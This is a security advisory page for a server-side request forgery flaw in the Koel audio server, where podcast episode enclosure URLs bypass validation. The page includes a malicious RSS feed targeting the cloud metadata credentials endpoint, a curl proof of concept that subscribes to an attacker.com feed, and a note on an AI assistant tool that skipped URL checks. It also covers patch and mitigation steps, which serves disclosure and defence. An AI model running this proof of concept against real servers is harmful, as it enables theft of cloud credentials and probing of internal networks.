Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Primary rating from Vendor (https://github.com/koel/koel) · only source for this CVE.
CVSS VectorVendor: https://github.com/koel/koel
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionCVE.org
Summary
Koel validates the podcast feed URL via the SafeUrl rule (DNS resolution + public IP check), but the individual episode <enclosure url="..."> values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via Http::sink()->get() and streams it back to the user, enabling full-read SSRF against internal services.
---
Vulnerability Details
Episode URL Stored Without Validation
File: app/Services/Podcast/PodcastService.php, line 146
'path' => $episodeValue->enclosure->url, // Unvalidated URL from RSS XMLThe SafeUrl rule is applied to the podcast feed URL at subscription time (SubscribeToPodcastRequest), but episode enclosure URLs parsed from the feed XML are stored as-is.
SSRF Trigger: Full Content Download
File: app/Values/Podcast/EpisodePlayable.php, line 42
Http::sink($file)->get($episode->path)->throw();When an episode is played, PodcastStreamerAdapter::stream() first attempts getStreamableUrl() (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to EpisodePlayable::createForEpisode(), which downloads the full response body and streams it back to the user.
SafeUrl Applied Only to Feed URL
File: app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php
public function rules(): array
{
return ['url' => ['required', 'url:http,https', new SafeUrl]];
}The SafeUrl rule (app/Rules/SafeUrl.php) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL - not the content within the feed.
---
Attack Flow
- Attacker registers an account (Community edition, no Plus required)
- Attacker hosts a malicious RSS feed on a public server:
<rss version="2.0">
<channel>
<title>Legit Podcast</title>
<item>
<title>Episode 1</title>
<enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
type="audio/mpeg" length="1000"/>
<guid>ssrf-1</guid>
</item>
</channel>
</rss>POST /api/podcastswithurl=https://evil.com/feed.xml- passesSafeUrl(public URL)- Koel parses feed, stores episode with
path = http://169.254.169.254/... - Attacker plays episode:
GET /play/{episode_id} - Server executes
Http::sink($file)->get("http://169.254.169.254/...") - AWS metadata response downloaded to disk, streamed back to attacker
---
Proof of Concept
#!/bin/bash
# PoC: Koel SSRF via Podcast Episode Enclosure URL
# Step 1: Host malicious RSS feed (feed.xml) on attacker server
# Step 2: Subscribe to the podcast
KOEL_URL="https://TARGET"
API_TOKEN="<api_token>"
# Subscribe to malicious podcast
curl -X POST "$KOEL_URL/api/podcasts" \
-H "Authorization: Bearer $API_TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "https://attacker.com/feed.xml"}'
# List episodes to get the episode ID
EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \
-H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id')
# Play the episode - triggers SSRF, returns internal service response
curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin
cat response.bin
# Expected: AWS metadata / internal service response---
Impact
- Cloud credential theft: Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)
- Internal network reconnaissance: Scan ports and enumerate internal HTTP services
- Data exfiltration: Read responses from internal APIs, admin panels, databases with HTTP interfaces
- Full response body: Unlike blind SSRF, the entire response is returned to the attacker
---
Secondary Finding: SSRF Bypass via AI Radio Station Tool
File: app/Ai/Tools/AddRadioStation.php, lines 35-38
The AI assistant's AddRadioStation tool creates radio stations by calling RadioService::createRadioStation() directly, bypassing the SafeUrl and HasAudioContentType validation rules that protect the REST API endpoint.
Impact: Same SSRF but requires Plus license. CVSS 7.7 HIGH.
---
Novelty Check
- No existing CVEs found for Koel (searched NVD, GitHub Advisories, web)
- No SECURITY.md in the repository
- This is a novel vulnerability
---
Remediation
Fix 1: Validate episode enclosure URLs in synchronizeEpisodes():
foreach ($episodeCollection as $episodeValue) {
$enclosureUrl = $episodeValue->enclosure->url;
$host = parse_url($enclosureUrl, PHP_URL_HOST);
if (!$host || !Network::isPublicHost($host)) {
continue; // Skip episodes with non-public URLs
}
// ... rest of episode creation
}Fix 2: Defense-in-depth validation at playback time in EpisodePlayable::createForEpisode().
Fix 3: Add SafeUrl validation in AddRadioStation AI tool.
AnalysisAI
Server-side request forgery in Koel (composer/phanan/koel <= 9.3.4) allows authenticated low-privilege users to coerce the server into fetching arbitrary internal URLs and stream the full response back to the attacker. The flaw stems from podcast episode enclosure URLs being persisted unvalidated despite SafeUrl checks being applied to the parent feed URL; no public exploit identified at time of analysis, but a detailed working PoC is published in the GHSA advisory.
Technical ContextAI
Koel is a PHP/Laravel-based personal audio streaming server (package composer/phanan/koel). The vulnerability is a classic CWE-918 Server-Side Request Forgery rooted in inconsistent input validation across a trust boundary: the SafeUrl rule (scheme + DNS-resolved public IP + post-redirect check) is enforced on the user-supplied podcast feed URL in SubscribeToPodcastRequest, but child enclosure URLs parsed out of the RSS XML are written straight into the episodes table by PodcastService::synchronizeEpisodes (line 146). At playback time, EpisodePlayable::createForEpisode invokes Laravel's HTTP client via Http::sink($file)->get($episode->path)->throw(), downloading the full body to disk and streaming it back to the requester - turning the server into a full-read SSRF proxy. A secondary path exists in the AI assistant's AddRadioStation tool, which bypassed SafeUrl/HasAudioContentType entirely (Koel Plus only).
RemediationAI
Vendor-released patch: upgrade composer/phanan/koel to 9.3.5 or later, which introduces a new Network::isSafeUrl() helper (commit 8708f077efd7d8a332b32e954d65bc837f3a413a) that is now enforced inside PodcastService::synchronizeEpisodes, EpisodePlayable::createForEpisode (throwing a new UnsafeUrlException), the podcast-obsolescence check, and the AddRadioStation AI tool (commit be1e867982dcadefd4a75d768ce950b1d5234cdf). See https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc. If immediate upgrade is not possible, compensating controls in order of effectiveness: disable podcast subscription functionality for non-admin users; close public account registration so only trusted users can add feeds; deploy egress filtering at the host/VPC level to block Koel's outbound traffic to RFC1918 ranges and the cloud metadata address 169.254.169.254 (side effect: breaks any legitimate internal podcast hosting); on AWS, enforce IMDSv2 with hop-limit 1 to neutralize the credential-theft impact even if SSRF succeeds (no functional side effect for Koel).
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro
The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-36545
GHSA-7j2f-6h2r-6cqc